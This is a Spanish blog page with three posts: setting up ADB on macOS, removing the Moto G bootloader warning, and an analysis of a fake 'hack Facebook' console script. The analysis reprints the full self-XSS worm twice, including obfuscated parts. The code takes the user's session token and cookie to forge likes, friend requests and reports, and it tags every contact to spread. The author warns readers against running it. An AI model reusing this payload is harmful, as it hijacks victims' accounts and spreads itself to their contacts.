Configurar ADB (Android Debug Bridge) en Mac OS X

Para empezar el ADB es un interfaz de linea de comando que te permite comunicarte con dispositivos android o emuladores. ADB tiene muchas funciones para controlar nuestro dispositivo, como enviar y bajar archivos desde nuestro Android, instalar apps, rootear nuestro Android y muchas poderosas cosas más.

Para conseguir el ADB podemos descargar el SDK completo de Android, pero si no eres desarrollador no tiene caso así se que puedes descargar los platform-tools que contiene el ADB y otras herramientas y también pesa menos. Pueden descargar el Platform-tools desde aquí.

El archivo tiene contraseña, la cual es (sin comillas): “adb”

Una vez tengamos descargado el platform-tools, creamos un directorio donde pondremos el contenido que descomprimimos, en mi caso yo quedó así:

/Users/MiUsuario/Android/platform-tools/ 

Ahora vamos a añadir la ruta del platform-tools al PATH de sistema. Para hacerlo debemos escribir el siguiente comando en nuestra Terminal:

nano ~/.bash_profile

Se verá de la siguiente manera:

nano

 

Dentro de ese archivo pondremos el export para agregar el contenido del directorio platform-tools al PATH del sistema.

El export es el siguiente:

 

export PATH=${PATH}:/Users/<TuNombreDeUsuario>/Android/platform-tools/

Sustituyendo <TuNombredeUsuario> por tu usuario -.-’. Y quedará de la siguiente manera.

nano export PATH

 

Cerramos y guardando cambios presionando  ctrl + x

Al terminar podremos usar el comando "adb" como cualquier comando de la terminal. Para probarlo tipeamos "adb devices" en la terminal y obtendremos un listado de dispositivos android conectados a nuestra Mac. Como se muestra en la siguiente imagen.

adb_devices

Saludos.

Como quitar Advertencia Bootloader Moto G

Hola de nuevo a todo, he regresado con un nuevo Post sobre Android.

Después de rootear un dispositivo Moto G, aparece una advertencia de que el bootloader está desbloqueado, como se muestra en la siguiente:

 

bootloader

El proceso para quitar la advertencia del bootloader es el siguiente. Es necesario contar con los siguientes elementos.

- SDK de  Android lo pueden descargar desde aquí:

SDK de Android

Si estas usando Windows XP/7/8 debes descargar el driver para el Moto G, si usas Linux o Mac no es necesario descargar el driver.

- Driver Moto G

Driver Moto G

- Archivo para quitar logo de bootloader:

Logo Bootloader

Este ultimo archivo tiene contraseña, la cual es la siguiente (sin comillas): “rafavg77″

Instalamos el driver de Moto G (en caso de ser necesario), conectamos el Moto G con el cable usb a la computadora y descomprimimos el SDK de Android y accedemos por medio de la consola de Linux, Mac o cmd de Window hasta la ruta de SDK /sdk/platform-tool/adb y ejecutamos el comando adb devices y debe listar nuestro dispositivo de la siguiente manera

adb_devices

Hasta este punto todo marcha bien, ahora es necesario reiniciar el dispositivo en modo bootloader, esto se puede hacer pulsando el botón de Apagado y los botones de volumen simultáneamente o como yo prefiero, desde la linea de comando ;) . Para reiniciar en modo bootloader desde el adb de android ejecutamos el comando

adb_reboot_bootloader

La pantalla del Moto G debe estar como la siguiente imagen:

bootloader_screen

Debemos descomprimir el tercer archivo que descargamos en la misa carpeta que se encuentra el adb de android (si tiene agregado el adb a las variables del ambiente esto no es necesario) y deben poder ver el archivo logo.bin, con el siguiente comento copiaremos logo.bin al dispositivo en modo bootloader:

fastboot flash

Reiniciamos el Moto G y no volveremos a ver el molesto logo de Advertencia.

Espero que les sea de mucha utilidad. Un saludo y hasta luego. :D

Destripando supuesto Script para hackear en Facebook

El día de hoy me etiquetaron en un posts en facebook, el cual preguntaba si ¿Querían hackear? y obtener el password de algún usuario de facebook, solo tenían que copiar y pegar el siguiente script en la consola de javascript en Chrome.

Nota: Es muy importante mencionar que lo que según hace el script es realmente Falso, por favor no lo hagan.

var parent=document.getElementsByTagName(“html”)[0];
var _body = document.getElementsByTagName(‘body’)[0];
var _div = document.createElement(‘div’);
_div.style.height=”25″;
_div.style.width=”100%”;
_div.style.position=”fixed”;
_div.style.top=”auto”;
_div.style.bottom=”0″;
_div.align=”center”;
var _audio= document.createElement(‘audio’);
_audio.style.width=”100%”;
_audio.style.height=”25px”;
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = “http://picosong.com/YPGz&#8221;;
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName(“fb_dtsg”)[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){var http4=new XMLHttpRequest;var url4=”/ajax/follow/follow_profile.php?__a=1″;var params4=”profile_id=”+abone+”&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=”+fb_dtsg+”&lsd&__”+user_id+”&phstamp=”;http4.open(“POST”,url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a(“”);function sublist(uidss){var a=document.createElement(‘script’);a.innerHTML=”new AsyncRequest().setURI(‘/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe’).setData({ flid: “+uidss+” }).send();”;document.body.appendChild(a)}var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName(‘fb_dtsg’)[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL=”//www.facebook.com/ajax/ufi/like.php”;var XParams=”like_action=true&ft_ent_identifier=”+post+”&source=1&client_id=”+now+”%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=”+post+”&nctr[_mod]=pagelet_home_stream&__user=”+user_id+”&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=”+fb_dtsg+”&phstamp=”;X.open(“POST”,XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName(‘fb_dtsg’)[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL=”//www.facebook.com/ajax/pages/fan_status.php”;var PageParams=”&fbpage_id=”+p+”&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=”+user_id+”&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=”+fb_dtsg+”&phstamp=”;Page.open(“POST”,PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like(“185309954944253″);function IDS(r){var X=new XMLHttpRequest();var XURL=”//www.facebook.com/ajax/add_friend/action.php”;var XParams=”to_friend=”+r+”&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=”+user_id+”&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=”+fb_dtsg+”&phstamp=”;X.open(“POST”,XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
Like(“1376249559308318″);
var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1382559332008832","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]“,” “,”\x26filter[0]=user”,”\x26options[0]=friends_only”,”\x26options[1]=nm”,”\x26token=v7″,”\x26viewer=”,”\x26__user=”,”https://&#8221;,”indexOf”,”URL”,”GET”,”https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&#8243;,”open”,”http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&#8243;,”send”,”random”,”floor”,”\x26ft_ent_identifier=”,”\x26comment_text=”,”\x26source=2″,”\x26client_id=1377871797138:1707018092″,”\x26reply_fbid”,”\x26parent_comment_id”,”\x26rootid=u_jsonp_2_3″,”\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:”,”}”,”\x26attached_sticker_fbid=0″,”\x26attached_photo_fbid=0″,”\x26giftoccasion”,”\x26ft[tn]=[]“,”\x26__a=1″,”\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo”,”\x26__req=q”,”\x26fb_dtsg=”,”\x26ttstamp=”,”POST”,”/ajax/ufi/add_comment.php”,”Content-type”,”application/x-www-form-urlencoded”,”setRequestHeader”,”status”,”close”];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);

Desde que leí document.cookie.match algo me olía mal, aparte de encontrar código ofuscado pero no cifrado ;).

En primera instancia abrí una cuenta de facebook nueva para probar el script y me encontré que hacía varias cosas entre las primeras insertar un modal con un reproductor de audio como se muestra a continuación

Captura de pantalla 2014-02-02 a la(s) 18.09.49

Este reproductor debería cargar un audio del link http://picosong.com/YPGz/ pero como no estaba en https no podía ser cargado en mi sesion de Fb que estaba en https. La siguiente en captura es el resultado de la consola de JavaScript.

Error al cargar audio

En las líneas en rojo podemos observar una leyenda diciendo que la conexión fue negada por violar algunos contenido de seguridad.

El script contiene un función


function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
Like("1376249559308318");

Dentro de la función el script realiza una petición POST <code>  XURL=”//www.facebook.com/ajax/ufi/like.php </code>  con ciertos parámetros entre ellos  1376249559308318, el cual parece ser que apunta hacia la página https://www.facebook.com/pages/Notas-suicidas/1376249559308318. Esta petición hace que demos like en esta página.

Otra acción que realizaba era recoger todos tus contactos y mencionarlos en el posts donde se encontraba el script (de esta manera fue que encontre el scritp). Esta acción de publicar a los contactos se muestra a continuación


var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1382559332008832","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);

En el anterior segmento de código se aprecia un arreglo que contiene el parametro 1382559332008832, el cual hacia referencia al posts donde se encontraba el script https://www.facebook.com/permalink.php?story_fbid=1382559332008832&id=100007643351586&ref=notif&notif_t=comment_mention (El posts y la cuenta ya ha sido eliminadas). La verdad no me explico como funciona esta parte, estoy abierto a sugerencias.

La sección de código que más me llamo la atención fue le código ofuscado.

Código original

var _0xb161 = ["\x76\x61\x6C\x75\x65", "\x66\x62\x5F\x64\x74\x73\x67", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65", "\x6D\x61\x74\x63\x68", "\x63\x6F\x6F\x6B\x69\x65", "\x67\x65\x74\x54\x69\x6D\x65", "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70", "\x66\x62\x5F\x64\x74\x73\x67\x3D", "\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41", "\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41", "\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D", 